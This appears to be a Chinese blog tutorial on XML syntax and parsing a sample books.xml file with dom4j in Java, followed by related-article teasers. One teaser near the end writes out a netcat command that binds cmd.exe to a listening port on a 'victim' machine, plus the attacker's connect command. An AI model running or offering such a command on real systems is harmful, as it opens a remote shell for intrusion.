XML 文件

简介

XML 是可拓展的标记性语言。

XML 的主要作用:

  • 用来保存数据,且这些数据具有自我描述性;
  • 作为项目或模块的配置文件
  • 作为网络数据传输的格式,但是现在以 JSON 格式为主。

语法

一般包括五个部分:

  • 文档声明;
  • 元素(标签);
  • XML 属性;
  • XML 注释;
  • 文本区域(CDATA区)。

文档声明

  • <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  • version 版本号
  • encoding XML 的文件编码
  • standalone="yes/no" 表示这个 XML 文件是否是独立的 XML 文件

XML 属性:

  • XML 的标签属性和 HTML 的标签属性是非常类似的,属性可以提供元素的额外信息
  • 一个标签上可以书写多个属性。每个属性的值必须使用引号引起来

语法规则

  • 所有 XML 元素都须有关闭标签,即闭合;
  • XML 标签对大小写敏感;
  • XML 必须正确的嵌套;
  • XML 文档必须有根元素;
  • XML 的属性值必须加引号;
  • XML 的特殊字符,例如 > &gt < &lt

文本区域(CDATA区)

  • CDATA 语法可以告诉 XML 解析器,CDATA 里的文本内容,只是纯文本,不需要 XML 语法解析;
  • 格式:<![CDATA[ 这里可以把你输入的字符原样显示,不会解析 XML ]]>

XML 解析

因为 XML 可扩展的标记语言,不管是 HTML 文件还是 XML 文件它们都是标记型文档,都可以使用 w3c 组织制定的 DOM 技术来解析。

现在比较常用的解析技术是 dom4j,这是一个第三方解析技术。

dom4j

dom4j 是一个用于处理XML的开源框架,该框架与 XPath 集成在一起,并完全支持 DOM,SAX,JAXP 和 Java 平台。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<books>
<book id="SN124156869438690">
<name>Java 编程思想</name>
<author>XPS</author>
<price>30.9</price>
</book>
<book id="SN152353246262166">
<name>Effective Java</name>
<author>GKO</author>
<price>20.9</price>
</book> </books>
package cn.parzulpan.java;

/**
* @Author : parzulpan
* @Time : 2020-12-06
* @Desc :
*/ public class Book {
private String id;
private String name;
private String author;
private Double price; public Book() {
} public Book(String id, String name, String author, Double price) {
this.id = id;
this.name = name;
this.author = author;
this.price = price;
} public String getId() {
return id;
} public void setId(String id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public String getAuthor() {
return author;
} public void setAuthor(String author) {
this.author = author;
} public Double getPrice() {
return price;
} public void setPrice(Double price) {
this.price = price;
} @Override
public String toString() {
return "Book{" +
"id='" + id + '\'' +
", name='" + name + '\'' +
", author='" + author + '\'' +
", price=" + price +
'}';
}
}
package cn.parzulpan.java;

import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader; import java.util.ArrayList;
import java.util.List; /**
* @Author : parzulpan
* @Time : 2020-12-06
* @Desc : dom4j 测试
*/ public class Test {
public static void main(String[] args) {
Test test = new Test();
List<Book> books = test.readXML();
books.forEach(System.out::println);
} // 获取Document 对象
public Document getDocument() {
// SaxReader 对象用于读取 xml 文件
SAXReader saxReader = new SAXReader();
Document document = null;
try {
document = saxReader.read("XML/xml/books.xml");
} catch (DocumentException e) {
e.printStackTrace();
}
System.out.println(document);
return document;
} // 读取文件生成 Book 类
public List<Book> readXML() {
ArrayList<Book> list = new ArrayList<>(); Document document = getDocument();
// 通过 Document 对象,拿到 XML 的根元素对象
Element rootElement = document.getRootElement();
// 通过根元素对象,获取所有的 book 标签对象
List<Element> books = rootElement.elements("book");
for (Element book : books) {
// 它将当前元素转换成为 String 对象
System.out.println(book.asXML()); // 拿到 book 的属性值
String id = book.attributeValue("id"); // 拿到 book 下面的 name 元素对象
Element name = book.element("name");
Element author = book.element("author");
Element price = book.element("price"); // getText() 方法拿到起始标签和结束标签之间的文本内容
list.add(new Book(id, name.getText(), author.getText(), Double.parseDouble(price.getText())));
} return list;
}
}

练习和总结

【JavaWeb】XML 文件的更多相关文章

  1. JavaWeb学习——web.xml文件说明

    JavaWeb学习——web.xml文件说明 摘要:本文主要学习了web.xml文件的作用以及如果配置. 是什么 web.xml文件是用来在JavaWeb项目里面初始化配置信息的,比如:访问的首页.S ...

  2. javaweb web.xml文件详解

    web.xml文件详解 前言:一般的web工程中都会用到web.xml,web.xml主要用来配置,可以方便的开发web工程.web.xml主要用来配置Filter.Listener.Servlet等 ...

  3. Java-Web DOM方式解析xml文件

    XML DOM 树形结构: DOM 节点 根据 DOM,XML 文档中的每个成分都是一个节点. DOM 是这样规定的: 整个文档是一个文档节点 每个 XML 元素是一个元素节点 包含在 XML 元素中 ...

  4. JavaWeb:实现文件上传

    JavaWeb:实现文件上传 理解文件上传: 1.上传文件就是把客户端的文件发送给服务器端. 2.HTTP响应的正文部分最常见的是HTML文档,但是也可以是其他任意格式的数据,如图片和声音文件中的数据 ...

  5. JavaWeb实现文件上传下载功能实例解析

    转:http://www.cnblogs.com/xdp-gacl/p/4200090.html JavaWeb实现文件上传下载功能实例解析 在Web应用系统开发中,文件上传和下载功能是非常常用的功能 ...

  6. JavaWeb 之文件的上传下载

    又到了每周更新博客的时候了,每看到自己发布的随笔阅读量上涨的时候就特别开心,我也会尽自己的努力提高自己的水平,总结出通俗易读的学习笔记,还望大家能多多支持!!! ------------------- ...

  7. Spring中利用applicationContext.xml文件实例化对象和调用方法

    Spring中实例化对象和调用方法入门 1.jar包和xml的准备 已上传至百度云盘,链接: https://pan.baidu.com/s/1CY0xQq3GLK06iX7tVLnp3Q 提取码: ...

  8. [android] 采用pull解析xml文件

    /***********2016年5月6日 更新**********************/ 知乎:Android 中有哪几种解析 xml 的类,官方推荐哪种 ? 以及它们的原理和区别? 刘吉财: ...

  9. 深入分析JavaWeb Item40 -- 文件上传和下载

    在Web应用系统开发中,文件上传和下载功能是很经常使用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现. 对于文件上传.浏览器在上传的过程中是将文件以流的形式提交到server端的.假设 ...

随机推荐

  1. 【题解】「CF1352A」Sum of Round Numbers

    应该是纯模拟吧. 直接输入一个字符串,然后一位一位看,如果不是0,就 k++,并计算这个数的真实的值,最后输出就行了. #include<iostream> #include<cst ...

  2. Spark3.0中Dates和Timestamps

    Spark3.0使用的是预公历,而之前都是儒略历和公历的混合(即1582年之前的日期使用儒略历,1582年之后使用公历,java.sql.Date这个API用的就是这种,而Java8里使用java.t ...

  3. x64架构下Linux系统函数调用

    原文链接:https://blog.fanscore.cn/p/27/ 一. 函数调用相关指令 关于栈可以看下我之前的这篇文章x86 CPU与IA-32架构 在开始函数调用约定之前我们需要先了解一下几 ...

  4. Spark SQL 小文件问题处理

    在生产中,无论是通过SQL语句或者Scala/Java等代码的方式使用Spark SQL处理数据,在Spark SQL写数据时,往往会遇到生成的小文件过多的问题,而管理这些大量的小文件,是一件非常头疼 ...

  5. react第十七单元(redux和组件之间的通信,react-redux的相关api的用法)

    第十七单元(redux和组件之间的通信,react-redux的相关api的用法) #课程目标 什么是redux-redux react-redux的作用是什么 react-redux如何应用 #知识 ...

  6. 基于Python PIL实现简单图片格式转化器

    基于Python PIL实现简单图片格式转化器 目录 基于Python PIL实现简单图片格式转化器 1.简介 2.前期资料准备 2.1.1如何实现图片格式转换? 2.1.2如何保存需要大小的图片? ...

  7. 开源OLAP引擎对比

    什么是olap 01.绝大多数请求都是读请求 02.数据以相当大的批次(>1000行)更新,而不是单行更新;或者它根本没有更新 03.数据已添加到数据库,但不会进行修改 04.对于读取,每次查询 ...

  8. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  9. ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现

    漏洞原理 该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录.Fileserver支持写入文件(不解析jsp),但是 ...

  10. Java进阶:基于TCP通信的网络实时聊天室

    目录 开门见山 一.数据结构Map 二.保证线程安全 三.群聊核心方法 四.聊天室具体设计 0.用户登录服务器 1.查看当前上线用户 2.群聊 3.私信 4.退出当前聊天状态 5.离线 6.查看帮助 ...